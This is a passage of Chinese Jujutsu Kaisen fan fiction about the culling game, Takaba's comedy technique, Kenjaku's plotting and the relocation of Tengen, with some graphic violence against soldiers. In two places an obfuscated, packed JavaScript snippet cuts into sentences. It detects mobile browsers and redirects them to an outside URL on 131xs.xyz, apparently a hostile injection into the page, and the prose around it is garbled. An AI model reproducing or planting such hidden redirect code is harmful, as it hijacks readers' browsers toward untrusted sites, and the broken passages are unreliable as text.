“真是的,五条老师他们到底在搞什么啊!”好不容易安顿好祖母,钉崎野蔷薇就进到了结界,现在终于能与同伴们汇合了。 “西宫前辈在樱岛结界那边,估计他们实在腾不出人手吧。”伏黑惠已经和虎杖悠仁他们汇合了,不出意外地各自带来了新的“同伴”。 他在手机里叮嘱钉崎野蔷薇:“五条老师应该跟你说了吧,不要回高专那边,我把‘窗’总部的地址发给你了,我和虎杖正在往那边走。” “啊~麻烦死了!我知道啦!” 这几天的天气都不太好,结界内察觉不到什么变化,但结界外一直在降温,已经有点要进入冬天的征兆了。 “快要下雪了吧。”钉崎野蔷薇还没有拿到高专的冬装校服,幸好离家的时候祖母塞给了她一件外套。 虎杖悠仁带来的同伴自然是甘井凛和日车宽见,伏黑惠带来了来栖华和天使。 “我们的分数还不太够呢......” 临时集合点在东京第1结界和第2结界之间的区域,因为这两个结界的距离太近了,被夹在中间地区的居民们已经在前几天全部通知撤离。自从增加了可以自由出入结界的规则后,对外界威胁最大的不是人类泳者,而是高知性的咒灵。 像黑沐死和噂狱这些能够回答小金的咒灵也是泳者,它们的顾忌要比人类泳者少太多。结界外的世界只是更大的猎场,而不是需要“适应”的社会。 伏黑惠和虎杖悠仁进入的结界内,游戏进度逐渐放缓。大多数泳者已经完成了分数变动,保证了自己不会因为违反总则而遭到术式剥夺。如果不想增加规则的话,他们就不需要再高调行事,因此伏黑惠和虎杖悠仁这几天的收获并不多。 “不用着急,我已经拜托机械丸联系乙骨前辈了,绮罗罗学长说他们的收获还不错。” 日车宽见本不打算和虎杖悠仁他们一起行动的。待在那个孩子身边只会让他更加厌恶、贬低自己,但虎杖悠仁没有给他选择的机会。 “那个叫日照的人也是你们的同伴吗?” 临时落脚点附近和结界内的感觉差不多了,街道上一个人都没有。他们找到了一处视野开阔的天台修整,日车宽见问道。 “是个好人!” “不算敌人......” 伏黑惠和虎杖悠仁异口同声地回答,他们诧异地看了对方一眼。 “日车,之前忘记问了,你们是怎么遇见的啊?” 日车宽见将他们的初遇告知了虎杖悠仁等人。 “能阻止领域展开的术式?”伏黑惠倒是从天使那里知道了日照的术式似乎拥有“强化”的能力,这倒是与九十九由基知道的相差不大。而且那个人......现在已经又有了134分! “追加得分!!239分!!”伏黑惠的小金冒了出来,他名字后面的分数迅速滚动,最终定格在了284这个数字上。 “哦!是乙骨前辈吧?”虎杖悠仁欢呼道:“我们现在就增加脱离死灭洄游的规则吗?” 伏黑惠思考着。他首先尝试和小金沟通:“小金,增加规则,泳者可以脱离死灭洄游。” 果不其然被拒绝了。 “那就改成通过将新泳者召入死灭洄游代替自己,从而脱离死灭洄游的话,能行吗?” 小金沉默了一会:“......被驳回了!!” 接二连三的拒绝让人无法理解,虎杖悠仁情急之下直接说道:“那究竟要怎样才能脱离死灭洄游啊!?” 令人意外的是,小金居然可以给出官方对于追加规则的提议:“......死灭洄游官方给出了建议:泳者将与自己所持分数等量的新泳者召入作为自己的替代者的话,就可以脱离死灭洄游!” 与自己所持分数等量的新泳者? “意思是如果我现在持有1分,我只需要找一个非术师代替自己加入游戏就可以了。”日车宽见解释道。 “那如果是0分会怎么样?” 天使回答了虎杖悠仁的问题:“恐怕会被‘拒绝脱离’吧?就像进入结界会被随机传送一样,尽管没有违背规则,但结界本身还是拥有附加条件的。” “好像BUG一样啊......”甘井凛吐槽道。 这样一来的话......伏黑惠本来预想死灭洄游官方会给出一个非常苛刻的条件,没想到脱离死灭洄游的规则居然这么简单。但如果仔细想想,几乎所有泳者或多或少都拿到过分数,比起从结界外找到那么多人代替自己,还是把身上的分数扔给别人,只留下1分最划算,因为这样只需要找一个非术师进来就可以了。 那么接下来所有想要脱离的人会为了“失去分数”开始争斗,但是却不能杀人,否则就没有人来“接收”自己多余的分数。 天使说:“这些结界正在吸收咒力,如果争斗增加的同时不会出现减员,结界就能够持续吸收咒力了。再加上如果被换进来的都是非术师,他们死在结界内咒灵手上时也会刺激大脑产生咒力。” 就和那些被送进结界的军人们一样。 “......”这个看似简单的规则背后其实还有很大的问题。 伏黑惠的小金问道:“是否增加新规则?” “不,再等等!” 他拒绝了小金。现在距离伏黑津美纪必须参加死灭洄游的节点还有六天,不光是代替她进入结界的人选需要谨慎确定,现在还有很多隐匿在结界内的危险分子,尤其是那些古代术师。 一旦给他们摆脱泳者身份的机会,他们就不会再拘泥于死灭洄游和结界,让他们流入社会的话,就算他们可以平定死灭洄游,未来也必然饱受这些受肉术师的威胁。 “依我看,这也只是官方提议,”日车宽见发表自己的看法,“如果你们还有其他的顾虑,可以尝试在官方提议的基础上增减条款,只要尝试到被小金认可就行了。” “说的是哦!”虎杖悠仁看向伏黑惠。 伏黑惠叹了口气:“总之,先去总部修整一番吧。” 大家都没有异议。 —— 日照速通岩手的计划被一个突然闯入的外来因子打破了。 留着让人幻视大猩猩一样的鬓角、穿着只有一半的作战服男人出现在了日照和鹿紫云一的面前。 高羽史彦身上的蓝色紧身衣只覆盖了左半边身体,仅仅依靠腰间的笑脸腰带和围着脖子的领口固定。也就是说他的右半边身体是半裸的状态。 他突然从街道旁边的花坛里冒了出来,翻着跟头入场,用关西腔对日照和鹿紫云一说:“先生们!!你们好!!今天的太阳公公真勤劳,不是吗!!” 这人让身经百战的两个咒术师都被一下子搞蒙了,鹿紫云一指着头顶上硕大的月亮:“睁开眼睛好好瞧瞧你这个大猩猩,现在是晚上啊!?你是什么人?” 日照那边没动静了。他瞪大了眼睛,甚至一把掀开了眼罩,直勾勾地盯着高羽史彦。 “锅锅事务所所属,高羽史彦,”打扮怪异的男人颇为自豪地指着自己介绍道,“不是我自夸,我可是在去年打入了P-1第一轮呢。” 那是什么?鹿紫云一虽然不明白,但还是下意识地吐槽了:“才第一轮就被淘汰也太逊了吧!” 不知道为什么,看到高羽史彦的样子之后就特别想要顺着他的话继续往下说。 “非也!因为我赶着去看和老家的兔子一起种在月球上的萝卜!!” “在成熟之前就会被兔子偷吃干净吧......” 日照捂住了嘴。鹿紫云一已经被卷进去了。 虽然这个术式超级有意思,可惜他不想浪费时间。那个男人应该是觉醒型的泳者,无意识发动的术式很少见,如果被选作了术式对象会稍微有点棘手,但现在高羽史彦的力量还不够强大,他看起来只能选定一个人成为术式对象。 通常来说,这种术式的强弱与术师本人的心态关联更大一些,不是仅凭锻炼□□就能够提升力量的类型。很难搞,但弱点也很明显。 尤其是己方有未被卷进术式中的人的时候。 日照叫停了他们:“高羽,你的搭档呢?想要表演漫才,只和观众互动怎么行啊。” 高羽史彦愣了一下,鹿紫云一趁此机会迅速退后:“这是什么?他的术式?明明能察觉到自己中招了却无法退出!” 日照示意他不要搭话:“相当有意思。” “你要是来和我搭档的话,我能送你去月球上吃我和兔子种出来的萝卜!” 高羽史彦说着,径直从地面上蹦了起来,像是失去了重力一样轻飘飘地落下,看起来是在月球上行走似的。 “......” “那么,就让你们见识一下我自创的段子好了,”高羽史彦抬起手,扎着弓步做出一个搞笑的姿势,“真是不请自来,意料之WI—FI——!!” “......” “垃圾观众!!!” “唉,”日照无奈挥手,“看来你在满足自己的搞笑欲之前是不会停下来了,幸好你和自己的术式还没有磨合得太好,否则真的会有点棘手。” 那股逼迫着人回应高羽史彦每一句话的感觉从鹿紫云一身边消失了。一并消失的还有高羽史彦心中的搞笑欲和掌控感,换言之,在他不自知的情况下,他将在未来的一段时间内失去他的术式。 鹿紫云一敲着扛在肩膀上的棍子问道:“干掉?” “......那就没意思了,”日照的眼神突然看得高羽史彦有些心里发慌,“我还有事想要让他试试呢。” 高羽史彦的术式【喜剧演员】,是能将他确信“能把人逗乐”的想象强制变为现实的能力,不仅如此,还能读取对象的想象,甚至左右对方的反应。正如日照的右眼读取出来的情报,高羽史彦的术式在满足术师本人的搞笑欲之前是不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137753|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停止的,如果将来他能和自己的术式磨合得更好,也许还能做到将种种场景模拟成现实来将伤害灌输给术式对象。 他在自报家门的时候说报名参加了P-1,那是决出日本第一单口相声演员的比赛。不过,看起来高羽史彦也挺向往漫才的舞台,日照赌了一把,幸运地赌中了。 漫才的演出是至少两个人对话,如果没有搭档和他一起装傻、吐槽,那就不叫漫才了。 不过事实证明,术式存在与否只是让日照和鹿紫云一从“被胁迫着搞笑”变成了“被胁迫着看高羽史彦搞笑”,如果这个人还喜欢玩一些烂梗和说一些根本不好笑的笑话的话,那真是地狱般的折磨。 不管是漫才演员还是喜剧艺人,都必须时刻保证旺盛的好奇心才行。他们对所有事情都感兴趣,并且从生活中的每一件小事中寻找、积累灵感,将它们化作舞台上的“交流”。比起独自搞笑,高羽史彦更喜欢和搭档一起演漫才。 漫才不是“创作”,而是“交流”。不论是漫才中的装傻役还是吐槽役,只要陷入了“我来装傻、你去吐槽”的预设,这样的漫才是“被胁迫的”,也就会变得超——级无聊。观众才不会笑出来呢。 所以喜剧艺人要有把现实中的“普通”变成搞笑素材的能力。 非常不幸的是,鹿紫云一和日照都不喜欢看漫才,接不住梗,是会被归为垃圾观众那一类当中去的人。 但是日照喜欢高羽史彦天马行空的想象力。 他尝试过让高羽史彦帮他复原那个特级咒具、来自平安时代前的绳文土偶,但他没办法引导高羽史彦的思路正确地落在“如果将这个玩意儿完整地复原出来的话会很好笑”上面,在尝试了两个小时未果后,日照放弃了。 他将身体扔给星海,跑去生得领域中躲清净。 为了防止高羽史彦的术式失控,鹿紫云一一直守在旁边,结果也被“骚扰”了整整两个小时。 “再怎么说也不应该这么折磨一个四百年前的七十岁老头子啊......” 鹿紫云一彻底对现代祛魅了。 “啊!说到四百年噗呃......” 日照一个手刀敲晕了高羽史彦,他们周围终于安静了下来。两人对视一眼,居然不约而同地松了一口气。 “这种家伙从某些层面上来讲,强得可怕啊。” 每个成为咒术师人都曾寻找过的自我肯定在他们那里仿佛与生俱来,以至于本人可以直接忽略咒术的存在,获得可怕的力量。 日照给自己泡了一杯咖啡:“简直是精神污染。” 鹿紫云一察觉到他身上的气息变了。在仙台和黑沐死战斗的时候,瞬间切换的气息没有丝毫滞涩的感觉,似乎他们生来就共用同一具身体。 “你们俩是兄弟?”左右闲来无事,鹿紫云一趴在椅背上问道。 日照还在研究那个绳文土偶,没抬头,语气毫无波澜:“恭喜恭喜,你猜对啦。” “这个身体原本谁的?” 日照终于肯抬眼看他,鹿紫云一的下半张脸掩藏在圈起的手臂当中,日照只能看到那双眼角带着闪电纹路的眼睛。他没有说话,只是莫名其妙地笑着。 “嘁。”一对疯子。 鹿紫云一的眼神落在日照脖子上项圈一样的绳编项链上。绑在中央的石块一样的东西有些错位,在运动和摩擦中转了半个圈,一直面向皮肤的那侧暴露在了外面。 颜色灰败的圆球形物体,表面是皱缩形成的褶皱纹路。不经意间露出来的地方带着点不一样的颜色,有点发白,带着透明的质感。 鹿紫云一不知道羂索制作咒物的具体方法,在死后的四百年间也并没有感受到真正意义上的时间的流逝,不然他们迟早都会发疯吧?按照羂索的说法,他会用他们肉|体的某一部分承载灵魂,在制成咒物后进行封印。解除封印的那一刻,就是他们重生的时候。 至少在鹿紫云一活着的时候,从没听说过有除了羂索以外的第二个人掌握了这种方法。 “其实还是有的,毕竟我的灵感也不是空穴来风。” 羂索对里梅说道。 原本准备利用禅院本家的噸之间来为宿傩准备“浴”,但因为伏黑甚尔已经将禅院家据为己有,所以羂索只能带着里梅回到了加茂家。场地虽然简陋了一些,但终归还是勉强能让里梅点头的。 里梅正在准备“浴”。在古代,“浴”原本是指为了保护作为传家宝秘藏的器物免遭外敌染指,而将其咒具化的仪式。用蛊毒将严选的生物融化过滤,得到咒力的溶液。再将器物置于其中十个月零十天,仪式就能完成了。 里梅用术式将咒灵的头部或其他核心冰冻后切下保存,再将剩余的身体细细切碎过滤。 羂索推推从鼻梁上往下滑的眼镜,虽然没有人搭理他,但还是能一个人滔滔不绝地说上很久:“我的灵感来自于多鲁布,几乎是生活在神话时代的人物突然出现在了自己眼前,尽管术式不那么有趣,但他的‘重生’让我看到了更有意思的事情。” 他装作没听见里梅不耐烦地啧舌:“现在想想,也许是当时多鲁布给我看的那块石板的问题。我走的时候没来得及销毁,换完身体后,那块石板就遗失了。” 羂索耸肩,那也是无可奈何的事,谁能想到那东西居然兜兜转转流落到了北海道,并且一直流传至今,又恰好被日照弥山找到,而他真的有本事把羂索走过的路重走了一遍。 “虽然方法不太一样,但核心理论没有变化,因此殊途同归,我们做到了相同的事。” 里梅开始处理下一只咒灵:“你没有其他的事要干吗?” 不要在这里烦他了! 羂索笑眯眯地说:“夏油杰已经去了薨星宫,这倒是省了我不少力气。五条悟还没有恢复【无下限咒术】,去北海道估计是想找阿依努咒术联盟帮忙吧?” 这具身体的术式天克【咒灵操术】,接下来只要静静等待即可。 “你们可千万别让我失望啊。” 23. 天方夜谭 所谓速通,就是让鹿紫云一开着【幻兽琥珀】一路狂飙。 “我不干了!” 日照结束了术式,浑身上下还笼罩着电气的鹿紫云一罢工了。 “为什么?你状态应该还很好吧?” 日照挥手让鹿紫云一离自己远一点,噼里啪啦的静电都跑到他这边来了。 “因为很无聊啊!”找上门来的家伙没一个能打的,最开始体验到【幻兽琥珀】那种超越极限的膨胀感已经被逐渐消磨,再不找一些势均力敌的对手,他的骨头都要生锈了。 日照坐在屋顶的边缘,一条腿放了下去。 “小金,新增规则,可以查看泳者在结界外的具体位置。” 小金正在思考。 “我后悔了,收回刚才的话。” 鹿紫云一一脸难以言喻的表情看着日照在他面前上演精神分裂。他们在交换时很少能被人看出来,现在却出现了明显的“抢夺主导权”的表现。青年站起身,不知道是体内哪个人控制着他远离了天台的边缘,摇摇晃晃了一阵,最终站定。 “......被承认了!是否增加新规则?” 日照掀起有些挡眼睛的头发:“不增加。” “就我自己的经验来说,通常胜出的意识都是受肉的那一方,”鹿紫云一说道,“容器的意识怎么可能和你抢呢?” “你想找的宿傩现在可就是被困在容器里,”日照语气不善,“接下来就分开走吧,有事电话联系。” 鹿紫云一不置可否,而是继续问道:“那你是怎么拿到主导权的?” “把他揍趴下就行了。” “那宿傩是怎么回事?他不可能被区区容器困住。” 远处的体育场里传来幽长的哀嚎声,随后是一声巨响。 虎杖悠仁不单单是容器,他更是牢笼。宿傩的手指可是剧毒之物,虎杖悠仁的身体对宿傩的耐受性,更能像是一个高明的结界一样将宿傩的灵魂困在身体里。听说他本身的身体素质就远超常人,日照有猜测过他是伏黑甚尔那样的天与咒缚,但五条悟否定了这个猜想。 日照脸上看不出什么神色变化,却又像是在暗示着什么:“谁知道呢,这你得问羂索去了。” 虎杖悠仁成为容器绝非巧合。 鹿紫云一不必感到失望。羂索特意为宿傩准备了舞台,虽然还比不上真正的咒术全盛时期平安时代,但宿傩绝对不会错过这样的机会。日照倒不是害怕宿傩会和羂索联手,就算他们之间真的还需要履行某些束缚,对日照来说也“算不上问题”。 从他们失去彼此的那一天起,杀死羂索就成了唯一需要为之努力事情。 就算之后这座岛要因为地震而沉入太平洋里,对日照弥山来说也根本没什么所谓。他会在“天灾”到来之前完成自己的夙愿。 “也对,”鹿紫云一准备在这和日照分开,“希望在他回来之前不会听到你的死讯。” —— 佩德罗和艾娃带着剩余的人继续前进。他们赶回集合点的时候只见到了其他人的尸体,还有集装箱里一滩滩烂在绳索间的人体组织,只有奎尔的副手还留着一口气。 在结界内,他们没有联络外界的手段。艾娃已经精神崩溃,余下的人中只有佩德罗能够勉强保持理智。没有必要继续执行任务,他们现在最重要的是活下来,活着从结界离开。 他们知道自己完了。 上头送他们进到这些结界只是为了将他们当成贡品献给那些怪物,就算离开结界,他们也没办法脱离死灭洄游这个游戏。 必须在夜晚降临后尽量避免开枪,枪声会引来一些未知的生物。现在佩德罗能够看见它们了,那些远超人类想象力极限的恶魔。 “啊......呃、救......不要......” 一个士兵被巨大的鱼钩刺穿了肩胛,吊在了体育馆的中间。光滑的地板上,标记出排球球场边线的白色被脏兮兮的、长着蹼的脚趾覆盖。体型庞大的咒灵坐在二层观众席的位置举着鱼竿,体育馆的一层全是鱼身、长有四肢的小型咒灵。 鱼饵自然是鲜活的人类,为了吸引猎物上钩,咒灵还会时不时地颠颠鱼竿,让鱼饵上下晃动,好吸引一层的小鱼们聚集在一起。 “啊、啊啊啊!!” 全身重量只依靠刺穿身体的铁鱼钩悬挂着,鱼饵痛不欲生地哀嚎,然后被一只小鱼吞入腹中。 二层的咒灵发出愉悦的声音,将自己的猎物拉了上来。鱼身咒灵掉到地板上时还会象征性的啪嗒啪嗒扑腾几下,鱼饵则彻底没了声息。咒灵将死掉的饵拆下来丢到一旁,抓起了佩德罗。 他们这个破破烂烂的小队被这个家伙全灭了,佩德罗的一条腿粉碎性骨折,被咒灵抓起来时像是根面条一样耷拉着,佩德罗甚至看到了自己的脚后跟。已经完全感觉不到疼痛了,大概是死亡将至。 在被铁钩刺穿之前,体育馆的天花板上突然被人踹开了一个大洞。 喜剧超人高羽史彦堂堂登场!!依旧是那身搞笑的紧身衣,半裸的身体让他在活动时只能给隐私部位自动打码。 佩德罗已经搞不清楚究竟发生了什么事情,铁钩没有穿透他的身体,在被咒灵狠狠扔出去、看着不断放大的鱼群和地板时他以为自己死定了。他正在像一枚炮弹一样被砸向地面,下一刻就能炸开血肉的烟花。 不,下一秒他和所有濒死的同伴们站在了体育馆一层的光滑地板上,跳起了伦巴舞。佩德罗低头,看到自己舞伴的鱼头戳到了自己眼前,握着鱼鳍的双手上沾满了粘液。 “高羽!” 日照从体育馆的正门进来,刚好看到高羽史彦用一把纸折扇将一个体型巨大的咒灵击飞了出去。 “好!!全垒打!!” 日照捧场地鼓了两下掌:“我还有别的事,离开结界的话记得打我给你的电话。” 高羽史彦向他比出一个大拇指:“请放心!!我一定会前去挑战的!!话说那到底是什么比赛啊,我从来没有听说过......” 日照迅速跑路,再多说他就要露馅了。 佩德罗从做梦一样的状态中惊醒,连忙甩开眼前的咒灵:“啊!?” 他发现自己居然站在地面上,原本废掉的腿现在完好无损。那个穿着搞笑紧身衣的男人蹿到他的面前疯狂鞠躬:“我的美国朋友说‘日本人每天鞠躬100次’,我正在练习!目标是每天300次!” —— 日照撬了一辆摩托车,引擎的轰鸣声在夜晚寂静的街道上炸响。 现在是2018年11月13日3时43分,日照准备就这样直接离开岩手结界。 生得领域中,青年横躺在长长的沙发上,拉过突然出现的被子盖住了双眼。旁边的电视机发出莹白的光,打在了他的侧脸上。 他烦躁地转过身,将脸埋进沙发靠背的缝隙中。 日照离开结界的时候并没有在外面看到待命的军队或者装甲车。被彻底地放弃了啊......不知道答应羂索执行这个任务的高层是谁,简直蠢到没边了。 他抬头,看到了盘旋在天空中的乌鸦。 “呵呵,”附近某个高级酒店的顶层,冥冥放下了手中的红酒杯,“去吧,忧忧。” “我去去就回,姐姐大人!!”靠在冥冥身边的男孩崇拜地看着她,在得到了一个摸头奖励之后,带着叠好的白布离开了。 将摩托熄火停在路边,日照走进了一家咖啡店。等他端着一杯加糖的卡布奇诺走出来的时候,穿着吊带短裤和衬衣的男孩已经站在了他的摩托旁边。日照盯着忧忧看了一会儿,就在他脸上的笑容就快要坚持不住的时候才终于移开了视线。 他们来到了无人的小巷,日照蹲了下来。 姐姐说的果然是正确的。忧忧随意想道,然后用布遮住了他们两人。冥冥对日照的评价很高,大概是因为他们的价值观很相似吧? 薨星宫本殿的迷宫外,夏油杰正在回枷场菜菜子和美美子的消息。她们两个带着丽美在总部帮忙,听说那个女孩适应的很快,说不定之后会加入“窗”。 夏油杰察觉到了咒力波动,抬起头时就正好看见忧忧带着日照传送到了这里。 “那么,我就在上面等着了。”忧忧迅速乘坐升降梯离开了这里,电梯门刚关上就迫不及待地掏出手机给冥冥发消息。 “乙骨已经来了?” 夏油杰没有第一时间接话,日照解释了一句:“他前两天发脾气在岩手大闹了一通,现在正在睡大觉呢吧?” “辛苦你了星海,忧太已经来了,”夏油杰带着日照走过由无数空性结界组成的迷宫,接近本殿,“这是你第一次亲自来薨星宫吧?悟说他那边已经准备就绪......星海,你为什么看起来有点心虚?” 日照摸着鼻子,目光游移没有说话。 夏油杰觉得有点头疼。这俩人从小打到大,最开始夏油杰还会惊讶于刚才还大打出手(毫不留情且烂招频出)的两个人就在他转个头的时间里和好如初,后来就见怪不怪了。 “......算了,我们先进去说吧,你得把人哄好才行啊。” 日照看向本殿中央那棵贯穿天地的御神木,答应了下来:“不好意思啦,我这么不求上进。” 夏油杰走在前面:“别这么说,星海。” 穿越重重迷宫,薨星宫的大门已为他们敞开。 在进去之前,夏油杰挡住了他们前进的路:“我知道说服不了你们,但是至少在......之前,再和弥山好好聊聊吧?我和悟也是会觉得遗憾的。” 夏油杰看着日照的眼睛微微睁大,眉毛下沉,缓缓变成了一副底气不足的强硬表情。他主动移开了目光:“......是他先动手的。” 游走的目光悄悄转了回来:“为什么会遗憾?” 夏油杰没有正面回答他的问题:“弥山你不用想明白为什么,只要记住我们是这么想的就足够了。” 他听着日照在身后嘟囔着“意义不明”、“奇怪的感觉”之类的话,走进了薨星宫。 天元正等在里面。 薨星宫内按照天元的兴趣变成了复古酒吧的模样,乙骨忧太抱着刀坐在最靠边的圆凳上,犹豫着不知道该和星海还是弥山打招呼。九十九由基豪气地挥手:“我们还是第一次见面吧,日照同学?” 日照坐到了乙骨忧太旁边,摆明了不太想理她:“我们明明差不多大,九十九。” 乙骨忧太这下确定现在是谁在说话了。 被呛了一句的九十九由基表情僵硬了一瞬,感觉自己被讨厌了。 天元站在吧台后面调酒,示意日照选一种。日照向祂举了举手中的咖啡杯。 上次来的时候这里的景象还是再传统不过的和室,现在突然变成了这么潮流的环境......日照抿了一口咖啡。像树根一样深深扎根于此的不死术师终于决定开始改变了吗? 九十九由基索性看向夏油杰:“既然人都到齐了,我们什么时候开始?” 夏油杰:“伊地知和忧忧都已经准备好了。” 天元擦干玻璃杯中的水滴,将它放回柜子上。乙骨忧太直到现在都还觉得这个计划有些天方夜谭。薨星宫作为国内主要结界的基底是那么容易整个移动走的吗? “需要移动的不是薨星宫,而是我的本体,”结界内的景象随着天元的心意又改变了,乙骨忧太发现他们站到了御神木的底端树根上,“虽说是基底,但根基并非我本人。” 也许祂很久之前就该这样做了吧?所有结界在设立完成后并不需要天元本人来维持,只要天元还存在着,那些结界、净界就可以无限存在下去,选择坐镇薨星宫也只是因为“一直待在这里”而已。 “不,薨星宫还是要整体移走的。这个地方要当做和羂索对决的地方来准备,如果基底在那个时候被破坏了也很难办,不如现在一次性挪走。” 五条悟在北海道那边已经将接收基底的净界准备好了,只要他们把薨星宫搬过去就大功告成。即便薨星宫离开了筵山山麓,设立在此地的净界也不会出现问题或者跟着移动,反而会因为“根源”在净界的保护范围之外,变向提高了净界的强度。 这类似束缚,就比如设立“帐”的术师在“帐”的范围外,通过增加术师本人被发现的风险,换来“帐”强度的大幅提高。 天元没有反对这个提议。祂的本体就在这棵御神木的树根中,现在的形象只是通过空性结界模拟出来的。 夏油杰向日照和乙骨忧太点点头:“我已经通知伊地知开始了,我们速战速决吧。” 作为“备受五条悟信任”的辅助监督,伊地知洁高没有什么咒术师才能,但还算擅长结界术,天元转移产生的咒力波动肯定会被羂索察觉,伊地知洁高需要做的就是利用咒符和结界术尽可能混淆这些逸散的咒力,避免羂索起疑。 他们不指望能在老奸巨猾的羂索眼前瞒天过海,可以让他知道“有什么事似乎在薨星宫发生了”,但不能让他知道这件事究竟是什么。 也就是说即便薨星宫移走了,九十九由基也不能大摇大摆从高专正门走出去,要让羂索以为她和夏油杰还一直待在天元身边才行。 “来吧,里香!”乙骨忧太不敢耽搁,召唤出了里香。 纯白的高大式神从阴影中钻了出来,喜悦地叫着乙骨忧太名字。他用戴着戒指的手摸了摸里香的头,看向了日照:“我们准备好了,日照先生。” 日照左手的食指、小指竖起,术式全力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137754|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运转,口中念起咒词:“戒律,无慢,星之渊,闭合年轮。” 里香的内部其实有可以装载不少物品的空间,原先乙骨忧太只是用来存放一些咒具。在日照术式的加持下,这个内部空间变得可以装下整个薨星宫,且附带了一定程度的隔绝咒力外散的能力。 但毕竟天元的咒力比较特殊,哪怕是日照也无法完全做到让里香屏蔽掉所有气息,所以才需要伊地知洁高的辅助。 日照进入了里香的内部,乙骨忧太让里香回到了阴影中,夏油杰叫来了忧忧:“拜托你了。” “当然,”忧忧抖动白布,“毕竟姐姐大人很开心。” 他们从这里消失了。 九十九由基问夏油杰:“你和五条之后怎么办?他没有恢复【无下限咒术】,如果羂索算好时间突入高专......那就只有我和你来对敌了。” 夏油杰开始处理薨星宫搬走后现场:“在杀死羂索这一点上,你可以把他当成最坚定的助力。” 九十九由基眯起眼睛:“嗯哼?” “但是,最好不要抱着会被他善待的想法把他当成盟友哦,毕竟看起来九十九小姐你......”夏油杰言尽于此,恰到好处地展示了他性格中的小恶劣。 毕竟他看起来不太喜欢九十九小姐你呢~ 啊?原来他是个个性这么难评的家伙吗!? “已经不想干了......开玩笑的,”九十九由基重振旗鼓,正色道,“当时我犹豫了,我想着事态既然已经发展到了这个地步,那倒不如静观其变再做决定。” 夏油杰沉声道:“......已经发生的事情再怎么想都没用了,我们能做的就只有踏踏实实迈出下一步。” 2018年11月14日,北海道,10时23分。 “天元已经基本安定下来了,”五条悟没有戴眼罩,他和日照站在河岸边,眼前就是奔流不息的石狩川,“弥山你还想要找到那个叫万的古代术师?” “当然了,而且你的【无下限咒术】不是还没找到吗?”日照一边回复鹿紫云一发给他的蠢问题,一边回答五条悟。 “......”五条悟的视线落在湍急的水面上:“如果你在结界里的时候羂索去了高专,忧忧可没办法及时送你过去哦~” 日照低着头,没有继续看手机也没有说话。 五条悟耐心地等待着。 万太沉得住气了。现在已经是游戏开始后的第14天,只剩不到一周的时间可以留给她去赚取分数。然而她到现在都没有在任何一个结界宣誓参与死灭洄游,甚至从来没有暴露过自己的咒力和术式,不然天元就可以知道她的下落了。 日照摸着脖子上的项链。 要继续等待吗?他已经稍微有些心急了,却还能继续理性地分析利弊。 如果和五条悟合作的话,唯一的不确定性在于他们也不知道羂索究竟会选择何时去到高专,也可能他根本就不会去,毕竟他既没有得到日照的术式也没有拿到【咒灵操术】。 如果继续寻找万,只需要再等上5天就可以了。只要复原了绳文土偶,再把这个项链挂上去,一切就都能结束了。 一切。 “弥山,杰已经把那群老橘子们全都处理掉了,”五条悟的声音从他耳畔传来,现代最强术师的语气就像是在和他聊晚上吃什么饭一样平淡,“老子现在可是五条家的家主,伏黑甚尔那家伙的儿子继承了禅院家。” “夜蛾成了东京校的校长,京都校的乐岩寺老头子虽然是个保守派,但还算有点良心,和总监部不同路。” “回头看看怎么样?‘这边’也是自由的啦~怎么样?我和杰有够努力的吧?” 日照转过头,直视那双苍天之瞳:“别误会,五条。想要离开的人是我不是他,从来都是。” 五条悟笑着说:“我知道啊。” 从五条悟降生那一刻直到双子十二岁离开五条家的这九年,他们都是五条悟身边唯一可以称得上是同龄人的存在。五条悟自认是除了他们彼此之外最了解他们的人,如果不算上夏油杰的话(就算再不乐意他也只能承认这一点)。 “毕竟星海才是那个胆小鬼嘛~” 日照向水中扔出一块石片,砸起一片水花。 “你准备怎么安排?” “嗯......”五条悟捏着下巴,看起来好好地思考了一番:“果然,还是得把你们放到悠仁旁边最划算。” “哈?” “那些孩子似乎非常需要帮助,而且还有宿傩那个未被点燃的炸弹在悠仁体内,所以我当然得找个信得过的人嘛。” “我们可不想给小鬼当保姆。” “这个嘛......” 五条悟的话还没说完,乙骨忧太跑了过来,似乎有什么话要说。 “老师!日照先生......天元大人说祂找到了装着【无下限咒术】的咒物,它出现在了东京!” “羂索也在吗?” 乙骨忧太摇头:“天元大人没有找到他的线索。” 羂索的结界术完全不输天元,他自然可以做到身处结界却不被天元发现。如果持有人手咒物的是羂索本人,他绝对不会让天元发现他的动向。这么说来,就只能是圈套了。 “对我们的反击?果然到处都有他的眼线啊。”五条悟思索着,是为了试探天元?还是单纯地想要吸引什么人上钩? “对【无下限咒术】感兴趣的只能是我们,所以他想引你们或者杰过去。” 乙骨忧太自荐道:“我去吧老师!” 日照拍拍手:“我们去吧。你们人手不足吧?我知道你们肯定会救那些被送到结界里的军人,现在只有东京和仙台的结界咒力已经充盈,其他结界还有拖延时间的机会。” 明明知道是无用功,但...... “哈哈,毕竟那些孩子们还都在青春期,真是令人怀念的冲动~” 五条悟戴上了眼罩,不羁的白发被束起,变回了咒术界最熟悉的形象:“那么就拜托你们啦,星海,弥山。” 日照似乎不想再和他多说,确定目的地之后就迅速离开了。乙骨忧太还想问问他要不要搭辅助监督的车,但日照溜得太快,他也只能放弃了。 